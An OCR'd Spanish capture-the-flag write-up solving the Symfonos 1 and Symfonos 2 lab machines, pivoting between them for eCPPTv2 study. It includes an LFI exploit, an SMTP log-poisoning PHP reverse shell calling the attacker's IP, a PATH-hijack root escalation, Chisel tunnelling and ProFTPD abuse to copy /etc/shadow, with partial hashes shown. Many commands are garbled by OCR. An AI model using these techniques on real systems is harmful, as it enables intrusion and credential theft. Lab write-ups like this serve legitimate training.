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LABORATORIO PIVOTING 1.

O- Introduccidon

Primer articulo de una serie en la que pondremos en practica los conocimientos que vamos

adquiriendo mientras preparamos el eCPPTV2.

En esta ocasion, vamos a resolver un laboratorio formado por nuestra maquina de ataque,
la maquina Symfonosl visible en la misma red de nuestro equipo y la maquina
Symfonos2 que solo estara disponible una vez que hayamos vulnerado Symfonosl, por
lo que deberemos realizar pivoting entre ellas. Este laboratorio lo podemos encontrar en

el Planning de Estudio con S4vitar ha elaborado para preparar diversas certificaciones.

El esquema del laboratorio es la siguiente:

Symfonos 1
192.168.1.16
10.025

Atacante
192.168.1.94

Y

A

Y

Symfonos 2
10.0.2.4

L— 10.0.2.0/24 _]

192.168.1.0/24

1- Determinando la IP de Symfonos 1

1.1. Determinando la IP del equipo Symfonos1

Podemos hacerlo de varias maneras, con netdiscover o arp-scan —|. Vamos a verlo.



https://docs.google.com/spreadsheets/d/1dzvaGlT_0xnT-PGO27Z_4prHgA8PHIpErmoWdlUrSoA/htmlview

1.1.1. Netdiscover

kaligkali 92.168.1.0/24

Currently scanning: Finished! | Screen View: Unique Hosts

191 Captured ARP Req/Rep packets, from 5 hosts. Total size: 11460

At MAC Address Count MAC Vendor / Hostname

192.168.1.1 84:aa:9c:al:7d:c7 183 10980 MitraStar Technology Corp
192.168.1.2 b8:ee:65:74:e4:60 2 120 Liteon Technology Corporation
192.168.1.16 @8:00:27:82:fa:5e 2 120 PCS Systemtechnik GmbH
192.168.1.43 fa:10:55:02:5f:59 180 Unknown vendor

1.1.2. Arp-scan -l

kaligkali sudo arp-scan -1

[sudo] password for kali:

Interface: eth@, type: EN1OMB, MAC: ©8:00:27:db:96:6a, IPv4: 192.168.1.94
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.2 e:165:74:e4:60 Liteon Technology Corporation
192.168.1.1 al:7d:c7 MitraStar Technology Corp.
102.168.1.16 PCS Systemtechnik GmbH

192.168.1.43 : (Unknown: locally administered)

Ya tenemos la IP de Symfonosl, 192.168.1.16. A partir de aqui, podemos comenzar a

vulnerar esta maquina.

2- Enumeracién de Symfonos 1

2.1. NMAP
Comenzamos realizando un escaneo rapidos de los servicios abiertos de Symfonos1.

kaligkali sudo nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.1.16 -oG allperts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-@1-11 17:39 EST
Initiating ARP Ping Scan at 17:39
Scanning 192.168.1.16 [1 port]
Completed ARP Ping Scan at 17:39, ©.19s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 17:39
Scanning 192.168.1.16 [65535 ports]
Discovered open port 445/tcp on 192.168.1.16
i open port 139/tcp on 192.168.1.16
open port 22/tcp on 192.168.1.16
open port 25/tcp on 192.168.1.16
open port 8@/tcp on 192.168.1.16
Completed SYN Stealth Scan at 17:39, 2.88s elapsed (65535 total ports)
Nmap scan report for 192.168.1.16
Host is up, received arp-response (0.00045s latency).
Scanned at 2023-01-11 17:39:51 EST for 3s
Mot shown: 65530 closed tcp ports (reset)

STATE SERVICE REASON

open ssh syn-ack ttl 64
open smtp syn-ack ttl 64
open http syn-ack ttl 64
open netbios-ssn syn-ack ttl 64
open microsoft-ds syn-ack ttl 64
MAC Address: 08:00:27:82:FA:5E (Oracle VirtualBox virtual NIC)
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Estan los puertos 22, 25, 80, 139 y 445 abie tos. El siguiente paso sera realizar un escaneo

mas profundo de los servicios abiertos.

udo nmap -p22,25,80,139,445

REASON
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Apache httpd 2
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WORKGROUP }




Puerto

Puerto 22

Puerto 25

Puerto 80

Puerto 139

Puerto 445

Servicios abiertos

Servicio

SSH

SMTP

HTTP

SMBd

SMB

OpenSSH 7.4
?
Apache httpd 2.4.25
Smbd 3.X —4.X

Smbd 4.5.16



2.2.  Enumeracion SMB

Como hemos visto anteriormente, tenemos los puertos 139 y 445 (SMB) abierto. Vamos

a comenzar haciendo una enumeracion con enum4linux.

kaligkali sudo enumélinux -A 192.168.1.16

Descubrimos el nombre de usuario /helios

index: @x1 RID: ©0x3e8 acb: 0x00000010 Account: helios  Name: Desc:

user:[helios] rid:[@x3e8]

Y, el directorio anonymous al que podemos acceder sin credenciales.

//192.168.1.16/print$ DENIED
//192.168.1.16/helios DENIED
//192.168.1.16/anonymous 0K

Vamos a acceder al recurso compartido anonymous utilizando la herramienta smbclient

de la siguiente manera:

kalidkali smbclient \\\\192.168.1.15\\anonymous -N

Try "help” to get a list of possible commands.
smb: \> 1s
@ Fri Jun 28 2
e ® Fri Jun 28 2
attention.txt N 154 Fri Jun 28 21:

19994224 blocks of size 1024. 17385336 blocks available
smb: \> |

Hay un archivo txt, vamos a ver su contenido.

smb: \> get attention.txt
getting file \attention.txt of size 154 as attention.txt (6.5 KiloBytes/sec) (average 6.5 KiloBytes/sec)
smb: \> D

Para descargar el archivo a nuestra maquina de ataque.

kaligkali cat attention.txt
Can users please stop using passwords like 'epidioko', 'gwerty' and 'baseball'!

Next person I find using one of these passwords will be fired!

-feus

6
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Ahora tenemos un nombre de usuario y varias posibilidades de contrasefia. La
combinacién de nombre de usuario helios con la contrasefia qwerty permite acceder al

recurso compartido de helios.

kaligkali smbclient \4\\\192.168.1.15\\helios -U helios

Password for [WORKGROUP\helios]:

Try "help” to get a list of possible commands.

smb: %> 1s

105 2019
2019

105 2019

2:05 2019

-]

Fri Jun
- Fri Jun
research.txt 432 Fri Jun
todo.txt 52 Fri Jun

MR PR R
® m

o

19994224 blocks of size 1824. 17305336 blocks available

smb: \> []

Volvemos a descargar los archivos en nuestra maquina de ataque y vemos su contenido.
El archivo research.txt no contiene nada interesante mas alla de mitologia sobre el Dios

Helios. Vamos con el otro archivo.

kaligkali cat todo.txt

1. Binge watch Dexter

2. Dance
3. Work on /h311@5

Parece el directorio de un sitio Web. VVamos a comprobarlo en el navegador.

2.3.  Enumeracion HTTP

Abrimos el puerto 80 en el navegador y buscamos el “posible” directorio que encontramos

anteriormente.

helios site — Just another Wo X +

« > C @ Q & 192.168.1.15

Skip to content

helios site

Just another WordPress site

Hello world!

2 Posted byadmin®]June 29, 2019June 29, 2019MPosted inUncategorized™1 Comment on Hello world!

Search for: |Searc H:Sear(h |




ki i
Parece un sitio Web montado sobre un CMS WordPress. Detalle importante, cuando

intentamos acceder a cualquiera de los enlaces, estos nos redirigen a un sitio Web con
dominio symfonos.local. Vamos a registrar este dominio en nuestro archivo /etc/hosts

para poder listar el contenido del sitio Web.

helios site — Just another Wo X =+

C @ O A& symfonos.local

Hello world!

A partir de aqui, vamos a hacer dos cosas. Por un lado, enumeracion de directorios y por

otro, una enumeracion con la herramienta wpscan.

kaligkali dirsearch -u "http://192.168.1.15/" -i200,301

Extensions: , aspx, jsp, html, j HTTP method: GE Threads: 30 | Wordlist size: 10927

Output File: /home/kali/.dirsearch/reports/192.168.1.15/-_23-01-12_12-15-29.txt

http://192.168.1.15/manual/
ex. html

Task Completed
kaligkali
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Después de la enumeracion con wpscan, se descubre que 2 complementos son vulnerables

a LFI no autenticado.

[+] mail-masta
Location: http://symfonos.local/h31105/wp-content/plugins/mail-masta/
Latest Version: 1.0 (up to date)
Last Updated: 2014-09-19T07:52:00.000Z

Found By: Urls In Homepage (Passive Detection)
2 vulnerabilities identified:

Title: Mail Masta <= 1.0 - Unauthenticated Local File Inclusion (LFI)
References:
- https://wpscan.com/vulnerability/5136d5¢cf-43c7-4d09-bf14-75ff8b77bbk4
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10956
- https://weww.exploit-db.com/exploits/40290/
- https://www.exploit-db.com/exploits/50226/
- https://cxsecurity.com/issue/WLB-2016080220

[+] site-editor
Location: http://symfonos.local/h31105/wp-content/plugins/site-editor/

Latest version: 1.1.1 (up to date)
Last Updated: 2017-05-02T23:34:00.000Z

Found By: Urls In Homepage (Passive Detection)
1 vulnerability identified:

Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)
References:
- https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57ek4s
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7422
- https://seclists.org/fulldisclosure/2018/Mar/40
- https://github.com/SiteEditor/editor/issues/2

kaligkali searchsploit mail masta

WordPress Plugin .0 - Local File Inclusion |_php/webapps/40290. txt
WordPress Plugin .0 - Local File Inclusion (2) | php/webapps/50226.py
WordPress Plugin .0 - SQL Injection | php/webapps/41438. txt

Vamos a utilizar el exploit disponible en exploitdb. Vamos a utilizar esta URL para leer

archivos como /etc/passwd:



https://www.exploit-db.com/exploits/40290/

curl http:// 1 ount_of_send.php\?pl\=/etc/passwd

/nologin

sbin/nologin

emd: /bin/false
fnetif:/bin/false

3- Explotacion de Symfonos 1

Ahora que podemos ver archivos del sistema, vamos a intentar un ataque llamado ‘log
poisoning’. En este ataque, un atacante inyecta cddigo malicioso en un archivo del 10
registro para posteriormente, ver el archivo de registro usando el navegador. Tan pronto

como se abra el archivo, se ejecutara el codigo malicioso que contiene.

Vamos a enumerar una serie de archivos de registros mas comunes para ver si podemos

verlos.

e /var/log/auth.log (sin acceso)

symfonos.local/h31105/wp-c-*  +

C @ O A symfonos.local/h3l

e /var/log/apache2/access.log (sin acceso)




symfon

Si recordamos el resultado del escaneo, habia un servidor de correo ejecutandose en el
puerto 25. Al mismo tiempo, recordamos que el WordPress estd ejecutando el plugin

mail-masta, ¢ Interesante? Vamos a comprobarlo.

En la maquina se esta ejecutando el puerto 25 SMTP (servidor de correo). En teoria debe
existir un directorio /var/mail para el usuario del sistema, en este caso helios. Vamos a

comprobarlo.

e /var/mail/helios

symfonos.local/h31105/wp-c X +

O A& symfonos.local

From root@symfonos.localdomain Fri Jun 28 21:08:55 2019 Return-Path: X-Original-To: root Delivered-To: root@symfonos.localdoma
userid 0) id 3DABA40B64; Fri, 28 Jun 2019 21:08:54 -0500 (CDT) From: root@symfonos.localdomain (Cron Daemon) To: root@symfo
Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: X-Cron-Env: X-Cron-Env: X-Cron-1
<20190629020855.3DABA40B64@symfonos.localdomain> Date: Fri, 28 Jun 2019 21:08:54 -0500 (CDT) /bin/sh: 1: dhclient: not foun
2023 Return-Path: <> X-Original-To: helios@symfonos.localdomain Delivered-To: helios@symfonos.localdomain Received: by symfon
Jan 2023 14:47:42 -0600 (CST) Date: Wed, 11 Jan 2023 14:47:42 -0600 (CST) From: MAILER-DAEMON@symfonos.localdomain (Mail
Returned to Sender To: helios@symfonos.localdomain Auto-Submitted: auto-replied MIME-Version: 1.0 Content-Type: multipart/repo:
boundary="2EE7C40AB0.1673470062/symfonos.localdomain” Content-Transfer-Encoding: 8bit Message-Id: <20230111204742.CB1:
encapsulated message. --2ZEE7C40AB0.1673470062/symfonos.localdomain Content-Description: Notification Content-Type: text/plain
This is the mail system at host symfonos.localdomain. I'm sorry to have to inform you that your message could not be delivered to on
assistance, please send mail to postmaster. If you do so, please include this problem report. You can delete your own text from the at
domain name not found. Name service error for name=>blah.com type=MX: Host not found, try again -2EE7C40AB0.1673470062/sy1
report Content-Type: message/delivery-status Reporting-MTA: dns; symfonos.localdomain X-Postfix-Queue-1D: 2ZEE7C40AB0 X-Postfix
Arrival-Date: Fri, 28 Jun 2019 19:46:02 -0500 (CDT) Final-Recipient: rfc822; helios@blah.com Original-Recipient: rfc822;helios@blat
X-Postfix; Host or domain name not found. Name service error for name=blah.com type=MX: Host not found, try again -2EE7C40AE
Description: Undelivered Message Content-Type: message/rfc822 Content-Transfer-Encoding: 8bit Return-Path: Received: by symfon
2EE7C40ABQ; Fri, 28 Jun 2019 19:46:02 -0500 (CDT) To: helios@blah.com Subject: New WordPress Site X-PHP-Originating-Script: 1/
00:46:02 +0000 From: WordPress Message-ID: <65c8fc37d21cc0046899dadd559f3bd1@192.168.201.134> X-Mailer: PHPMailer 5.2
MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Your new WordPress site has been successfully set up at: http://192.168.

arcrnnnt with tha fallnwina infarmatinn: ITearnamea: admin Pacewnrd- Tha nazewnrd wvon rhaca durinea inetallatinn T A in hara: httn-l/

A este archivo si que tenemos acceso. Como SMTP se ejecuta en el puerto 25, vamos a
utilizarlo para enviar un correo al usuario “helios” que contenga el codigo malicioso.
Primero, vamos a comprobar si existe dicha vulnerabilidad enviando un mensaje de

prueba.

enjoy your new site. Thanks! -The WordPress Team https://wordpress.org/ ~2EE7C40AB0.1673470062/symfonos.localdomain-- From elhackeretico@symfonos.localdomain Thu Jan 12

16:05:43 2023 Return-Path: X-Original-To: helios Delivered-To; helios@svmfonos localdomain Received: from unknown (unknown [192.168.1.94]) by symfonos.localdomain (Postfix) with
SMTP id 1IEDB9406A6 for ; Thu, 12 Jan 2023 16:04:58 -0600|(CST) PRUEBAS EL HACKER ETICO
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Abriendo de nueva el archivo /var/mail/helios en el navegador, vemos que es posible la

inyeccion de registro.

Vamos a poner netcat a la escucha en el puerto 4444 y vamos a inyectar un Shell inverso

PHP en el archivo de correo.

La Shell que vamos a utilizar es la siguiente:

kaligkali cat shell.txt
<7php $sock=fsockopen("192.168.1.15",5100);
$proc = proc_open("/bin/sh -i", array(@=>$sock, 1=>$sock, 2=>%$sock), $pipes); ?>

kaligkali nc 192.168.1.17 25
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
mail from: elhackeretico
250 2.1.0 Ok
rcpt to: helios
250 2.1.5 ok
data
354 End data with <CR><LF>.<CR><LF>
<?php $sock=fsockopen("192.168.1.94",5100);
$proc = proc_open("/bin/sh -i", array(@=>$sock, 1=>$sock, 2=>$sock), $pipes); 7>

250 2.0.0 Ok: gueued as 775F940841
QuIT
221 2.0.0 Bye

IP 192.168.1.17 (cambio por error de red).

Volvemos a abrir el archivo en el navegador y ya tendremos establecida la conexion con

la maquina victima.

kaligkali nc -lnvp 5100

listening on [any] 5100 ...

connect to [192.168.1.94] from (UNKNOWN) [192.168.1.17] 59614
: @: can't access tty; job control turned off

Tenemos una Shell limitada, vamos a mejorarla (python -c ‘import pty;

pty.spawn("/bin/bash™)").

$ python -c'import pty; pty.spawn("/bin/bash")’
<h31105/wp-content/plugins/mail-masta/inc/campaign$ [

12
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4- Escalada de privilegios en Symfonos 1

La primera basqueda habitual para la escalada de privilegios es sondear binarios SUID

mediante el comando find.

h31105/wp-content/plugins/mail-masta/inc/campaign$ find / -perm -4000 2>/dev/null
-masta/inc/campaign$ find / -perm -4000 2>/dev/null
usr/lib/eject/dmcrypt-get-device
usr/1lib/dbus-1.@/dbus-daemon-launch-helper
usr/lib/openssh/ssh-keysign

usr/bin/passwd

usr/bin/gpasswd

usr/bin/newgrp

usr/bin/chsh

usr/bin/chfn

/opt/statuscheck

bin/mount

bin/umount

bin/su

bin/ping
h31105/wp-content/plugins/mail-masta/inc/campaign$

Statuscheck NO es un binario predeterminado de Linux.

heliosgsymfonos:/opt$ ./statuscheck
./statuscheck

HTTP/1.1 200 OK

Date: Thu, 12 Jan 2023 22:27:46 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Sat, 29 Jun 2019 @0:38:05 GMT
ETag: "148-58c6b9bb3bc5b"
Accept-Ranges: bytes
Content-Length: 328

Vary: Accept-Encoding

Content-Type: text/html

heliosgsymfonos:/opt$

El binario ejecuta CURL sin ruta absoluta. Vamos a crear un CURL “falso” y
modificaremos el PATH de ejecucion para que el archivo /opt/statuscheck llame al CURL

falso y que se ejecute como ROOT.

¢ Como hacemos esto? De la siguiente manera:

13
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<h31105/wp-content/plugins/mail-masta/inc/campaign$ cd /tmp
cd /tmp
heliosgsymfonos:/tmp$ rm -r curl
rm -r curl
heliosgsymfonos:/tmp$ echo "/bin/sh™ > curl

echo "/bin/sh" > curl

heliosgsymfonos:/tmp$ chmod 777 curl

chmod 777 curl

heliosgsymfonos:/tmp$ export PATH=/tmp:$PATH

export PATH=/tmp:$PATH

heliosgsymfonos:/tmp$ echo $PATH

echo $PATH
Jtmp:/usr/local/sbin: /usr/local/bin: /usr/sbin:/usr/bin:/sbin:/bin
heliosgsymfonos:/tmp$

Volvemos a llamada al binario /opt/statuscheck que a su vez Ilamara al CURL falso como

ROOT y obtendremos consola.

heliosgsymfonos: fopt$ ./statuscheck

./statuscheck

# id

id

uid=1000(helios) gid=1000(helios) euid=0(root) groups=1000(helios),24(cdro

m),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
# whoami

5- Pivoting desde Symfonos 1 a Symfonos 2

Una vez que hemos comprometido la primera maquina del laboratorio, ya estaremos en
condiciones de poder saltar a la segunda maquina de este, Symfonos 2. Para ello,

seguiremos el siguiente proceso.

Primero vamos a comprobar a que redes tiene acceso Symfonos 1. Lo vamos a hacer de

la siguiente manera:

<h31105/wp-content/plugins/mail-masta/inc/campaign$ hostname -I
hostname -I

10.0.2.5 192.168.1.16
<h31105/wp-content/plugins/mail-masta/inc/campaign$ ||

14
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Tiene conexion en la red 192.168.1.0/24‘,* misma red donde estd conectado nuestra
maquina de ataque y también a la 10.0.2.0/24, red donde se encuentra conectada la

maquina Symfonos 2.

Para escanear que equipos estan conectados a la red 10.0.2.0/24, vamos a crear un

pequefio script en bash cuya utilidad sera descubrir las IP activas a través de PING.

$(seq 1 255); do

timeout 1 bash "ping -c 1 10.0.2.%i" >/dev/null && "10.0.2.%1i - Active" &
one; wait

Enviamos este script a Symfonos 1 utilizando un servidor Ptyhon HTTP. En nuestra

maquina de ataque ejecutamos esto:

kaligkali python3 -m http.server 1337

Serving HTTP on 0.0.8.0 port 1337 (http://0.0.0.0:1337/) ...

Para descargar el archivo en la maquina victima, ejecutamos el siguiente comando:

$ wget "http://192.168.1.94:1337/hostsdiscovery.sh"

--2023-01-14 10:13:08-- http://192.168.1.94:1337/hostsdiscovery.sh
Connecting to 192.168.1.94:1337... connected.

HTTP request sent, awaiting response... 200 0K

Length: 132 [text/x-sh]

Saving to: "hostsdiscovery.sh.2'

0K 100% 19.6M=0s

2023-01-14 10:13:08 (19.6 MB/s) - 'hostsdiscovery.sh.2' saved [132/132]

Una vez enviado, damos permisos a este script y lo ejecutamos. Tras pocos segundos

obtenemos el siguiente resultado.

$ ./hostsdiscovery.sh

10.08.2.5 - Active
10.0.2.4 - Active

Tenemos dos IP en la red 10.0.2.0/24. La IP 10.0.2.5 es la que corresponde a la maquina
Symfonos 1 mientras que la IP 10.0.2.4 corresponde a la maquina Symfonos 2. También

podemos enumerar los servicios que tiene disponible esta IP. Para ello creamos otro

15



pequefio script en bash que sirve para detectar servicios abiertos. El cddigo de este script

es el siguiente:

host=

or port in {1..65535}; do
> fdev/tcp/ ) &>/dev/null &5 "$port is open”

Enviamos este script a la maquina Symfonos 1, damos permisos y ejecutamos de la

siguiente manera:

$ ./portdiscovery.sh 10.0.2.4
21 is open
22 is open

80 1s open
139 is open
445 is open

El siguiente paso, una vez que sabemos que existe una segunda maquina visible desde
Symfonos 1, ser& pivotar sobre esta maquina para poder acceder a Symfonos 2 desde

nuestra maquina de ataque, si bien en este momento no seria posible.

Para hacer esto, vamos a crear un tlinel utilizando la herramienta Chisel. Esta tunelizacion

se crea de la siguiente manera:

En nuestra maquina de ataque ejecutamos el siguiente comando:

kaligkali chisel server --reverse -p 4444
2023/01/14 11:32:14 server: Reverse tunnelling enabled

2023/01/14 11:32:14 server: Fingerprint KQbO@2HMFAiYsloRjhMAkAzOARtMAd2prVafwAaWfEg=
2023/01/14 11:32:14 server: Listening on http://0.0.0.0:4444

El siguiente paso seré enviar un ejecutable de Chisel a la maquina Symfonos 1 utilizando
el servidor Python HTTP que utilizamos anteriormente, darle permisos de ejecucion y

ejecutarlo de la siguiente manera:

$ ./chisel client 192.168.1.94:4444 R:80:10.0.2.4:80
2023/01/14 10:33:15 client: Connecting to ws://192.168.1.94:4444

2023/01/14 10:33:15 client: Connected (Latency 916.723ps)
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Zi
De esta manera ejecutamos la técnica de Remote Port Forwarding. Una vez hecho esto,
ya tendremos acceso al puerto 80 de la maquina Symfonos 2 desde nuestra maquina de

ataque.

127.0.0./ X  +

C @ O D 127.0.01

7,

Perfecto, ¢pero tenemos que hacer el mismo proceso para todos los puertos de Symfonos
2? Existe un método en el que podremos tener conexion con todos los puertos de la
maquina Symfonos 2 ejecutando un Unico comando. Para ello, vamos a utilizar Socks.

Procedemos de la siguiente manera:

En Symfonos 1 ejecutamos lo siguiente:

$ ./chisel client 192.168.1.94:4444 R:socks
2023/01/14 10:45:14 client: Connecting to ws://192.168.1.94: 4444
2023/01/14 10:45:14 client: Connected (Latency 770.836ps)

Y vemos el resultado obtenido en nuestra maquina de ataque.

kaligkali chisel server --reverse -p 4444
2023/01/14 11:45:11 server: Reverse tunnelling enabled
2023/01/14 11:45:11 server: Fingerprint 9wVFwSXETIVKi6Ws5LKOr9AF@g03vrsksfH4/ilr+tM=

2023/01/14 11:45:11 server: Listening on http://0.0.0.0:4444
2023/01/14 11:45:17 server: session#1: tun: proxy#R:127.0.8.1:1080=>socks: Listening
[

Vemos que se ha creado una conexion de tipo socks a la escucha en el puerto 1080. Para
que esto funcione deberemos crear una conexion socks para ese puerto en el archivo

letc/proxychains.conf. Afiadimos la siguiente linea en el archivo.
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socks5 127.0.0.1 1080

A partir de este momento deberemos utilizar la utilidad proxychains para poder utilizar
el tunel que hemos creado y ya tendremos conexion con esta maquina que no esta

conectada en nuestra red.

A partir de este momento puede comenzar la enumeracion y explotacién de la maquina

Symfonos 2.

6- Enumeraciéon de Symfonos 2

6.1. NMAP

Como siempre, comenzamos escaneando los servicios que tiene abiertos la maquina

Symfonos 2.

STATE SERVICE
open ftp

open ssh
open http
open netbilos-ssn
open microsoft-ds

Symfonos 2 tiene 5 servicios abiertos (21, 22, 80, 139, 445). El siguiente paso, sera

realizar un escaneo exhaustivo de los cinco servicios abiertos.

proxychains -g nmap -p21,22,80,139,445 -sVC -T5 -Pn -n -sT -v 10.0.2.4 2>51




PORT STATE SERVICE VERSION

21/tcp open ftp ProfFTPD 1.3.5

22/tcp open ssh OpenSSH 7.4pl1 Debian 10+deb9ué (protocol 2.0)
| ssh-hostkey:

| 2048 9d:f8:5f:87:20:e5:8c:fa:68:47:7d:71:62:08:ad:b9 (RSA)

| 256 D4:2a:bb:06:5 093:1c:d2:78:0a:00:46:9d:85 (ECDSA)

| _ 256 28:ad:ac:dc:7e:2a:1c:f6:4c:6b:47:f2:d6:22:5b:52 (ED25519)
80/tcp open http WebFs httpd 1.21

| _http-title: Site doesn't have a title (text/html).

| http-methods:

| _  Supported Methods: GET HEAD

| _http-server-header: webfs/1.21

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
Service Info: Host: SYMFONOS2; 05s: Unix, Linux; CPE: cpe:/o:linux:1linux_kernel

Servicios abiertos

Servicio Version
Puerto 21 FTP ProFTPD 1.3.5
Puerto 22 SSH OpenSSH 7.4
Puerto 80 HTTP Apache httpd 2.4.25
Puerto 139 SMBd Smbd 3.X —4.X
Puerto 445 SMB Smbd 4.5.16

6.2. Enumeracion web

Si intentamos acceder a la direccién IP 10.0.2.4 desde el navegador, este no va a poder
acceder puesto gue no tiene conexion con la maquina Symfonos 2. Para arreglar esto,
vamos a utilizar Foxy Proxy para poder establecer el tinel al sitio Web de Symfonos 2.

Foxy Proxy lo configuramos de la siguiente manera:

Title or Description (optional) Proxy Type

Color Proxy IP address or DNS name
#66ccb6

Send DNS through SOCKS5 proxy Port

Pattern Shortcuts

Enabled

Username (optional)
Add whitelist pattern to match all URLs €@

Do not use for localhost and intranet/private IP addresses €@ 0

Password (optional)

=




10.0.2.4/

C @

Ya tenemos acceso al puerto 80 de Symfonos 2. Vamos a realizar una enumeracion de
directorios con dirsearch. Recordamos que debemos utilizar proxychains para poder

utilizar la tunelizacién.

kaligkali proxychains dirsearch -u "http://10.0.2.4/" -i200,301 2>1§

Extensions: php, aspx, jsp, html, js HTTP method: GET | Threads: 30 | Wordlist size: 10027

Output File: /home/kali/.dirsearch/reports/10.0.2.4/-_23-01-14_13-15-46.txt

Error Log: /home/kali/.dirsearch/logs/errors-23-01-14_13-15-46.log 20
Target: http://10.0.2.4/

[13 6] Starting
[13 00 -

Task Completed

Nada interesante.

6.3.  Enumeracion SMB

Realizamos una enumeracion con enumé4linux de Symfonos 2.

kaligkali proxychains -g enum&linux 10.0.2.4

Después de completar la enumeracion obtenemos una serie de informacion interesante.

re Enumeration on 10.0.2.4

Sharename Type Comment

Disk Printer Drivers
anonymous Disk

IPC$ IPC IPC Service (Samba &4.5.16-Debian)
Reconnecting with SMB1 for workgroup listing.




kaligkali proxychains smbclient -L \\\\1@.0.2.4\\
[proxychains] config file found: /etc/proxychains.conf

[proxychains] preloading /usr/1ib/x86_64-1inux-gnu/libproxychains.so.4

[proxychains] DLL init: proxychains-ng &.16

[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.0.2.4:445

Password for [WORKGROUP\kalil:

Sharename Type Comment

print$ Disk Printer Drivers

anonymous Disk

IPCS IPC IPC Service (Samba 4.5.16-Debian)
Reconnecting with SMB1 for workgroup listing.
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.0.2.4:139

Server Comment

WORKGROUP SYMFONOS2
kaligkali

kaligkali proxychains smbclient \\\\10.0.2.4\\anonymous
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/1ib/x86_64-1inux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng &.16
Password for [WORKGROUP\kalil:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.0.2.4:445
ry "help"” to get a list of possible commands.
smb: \> 1s
D Thu Jul 18 10:30:09 2019
- D Thu Jul 18 10:29:08 2019 2 1
backups D Thu Jul 18 10:25:17 2019

smb: \> cd backups
smb: \backups\> 1s

. @ Thu Jul 18 10:25:17 2019
“c @ Thu Jul 18 10:30:09 2019
log.txt 11394 Thu Jul 18 10:25:16 2019

19728000 blocks of size 1024. 16312600 blocks available
smb: \backups\> get log.txt
getting file \backups\log.txt of size 11394 as log.txt (505.8 KiloBytes/sec) (average 505.8 KiloBytes/sec)
smb: \backups\> ||

Existe una cuenta andnima disponible que contiene una carpeta backups que contiene un

archivo log.txt. Lo descargamos en nuestra maquina atacante para ver su contenido.

La parte mas importante del archivo log.txt es la primera linea. Nos dice que root realizd

una copia de seguridad del archivo shadow en algun lugar aleatorio /var/backups.




kaligkali : cat log.txt
rootgsymfonos2:~# cat /etc/shadow > /var/backups/shadow.bak
rootgsymfonos2:~# cat /etc/samba/smb.conf

#
Sample configuration file for the Samba suite for Debian GNU/Linux.

smb.conf(5) manual page in order to understand the options listed
here. Samba has a huge number of configurable options most of which
are not shown in this example

H
#
H
# This is the main Samba configuration file. You should read the
H
H
H

Otra cosa para aprender de log.txt son los usuarios disponibles en el servidor.

# set the user and group under which the server will run.
User aeolus
Group aeolus

6.4. FITP

En la enumeracion inicial de la maquina Symfonos 2, vimos que se esta ejecutando en el
puerto 21 (FTP) la version ProFTPD 1.3.5. Esta version de FTP tiene un CVE (CVE-
2015-3306). Esta vulnerabilidad permite a los atacantes leer y escribir en archivos

arbitrarios a través de los comandos site cpfr y site cpto.

Entonces podemos copiar el contenido del archivo shadow y passwd.

kaligkali proxychains ftp 10.0.2.4 21
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-1linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng &.16
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.0.2.4:21
Connected to 10.0.2.4.

220 ProfTPD 1.3.5 Server (ProfFTPD Default Installation) [10.0.2.4]
MName (10.0.2.4:kali): aeolus

331 Password required for aeolus

Password:

230 User aeolus logged in

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> site cpfr /var/backups/shadow.bak

350 File or directory exists, ready for destination name
ftp> site cpto /home/aeolus/share/shadow.back

250 Copy successful

ftp> site cpfr /etc/passwd

350 File or directory exists, ready for destination name
ftp> site cpto /home/aeolus/share/passwd

250 Copy successful

fip>

Descargamos ambos archivos via SMB.
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kaligkali

usr/sbin/nologin
/bin: /bin/sync
sr/games: fusr/sbin/nologin
che/man: fusr/sbin/nologin
sr/sbin/nolegin
in/nologin
/usr/sbin/nologin
bin/nologin

usr/sbin/nologin
ar/list:/usr/sbin/nologin
n
nats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
5534:65534 :nobody: /nonexistent : /usr/sbin/nologin
systemd-timesyn systemd Time Sync| zation, ,, :/run/systemd: /bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve 02:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bu 83:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
: fnonexistent:/bin/false
var/spool/exim
/var/run/dbus: /bin/fa
shd: /usr/sbin/nologin
home/aeolus: /bin/bash
/bin/bash
/nonexistent:/bin/false

librenms fopt/librenms:

kaligkali cat shadow.bz
root: $6$VTftENaZ$ggY84BSFETwhissvONGmt2VaONoke,/ HzwwmT tVkDt ThCbgof FOSMVW. IcOKIzuI@7m36uy9.565qelr/beHer . :18095:
daemon :%: 999

18095
180!
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systemd-resolvi
systemd-bus-proxy:
_apt:+*:18095:0:99
Debian-exim:!:

§ sk&DLMy@qTn80DPImMLG. :18095:
65wOmUf 1Z0%Wa jhRWpZyuHb JAbt PDONR30V0eEKt ZtYYELWomv9xZLOhz 7ALKHUT 2Wp6c FFglul Cq495Yel 5goXrolasxu3 180
118095 999

Debian-snmp:!:18095:0:99999:7:::

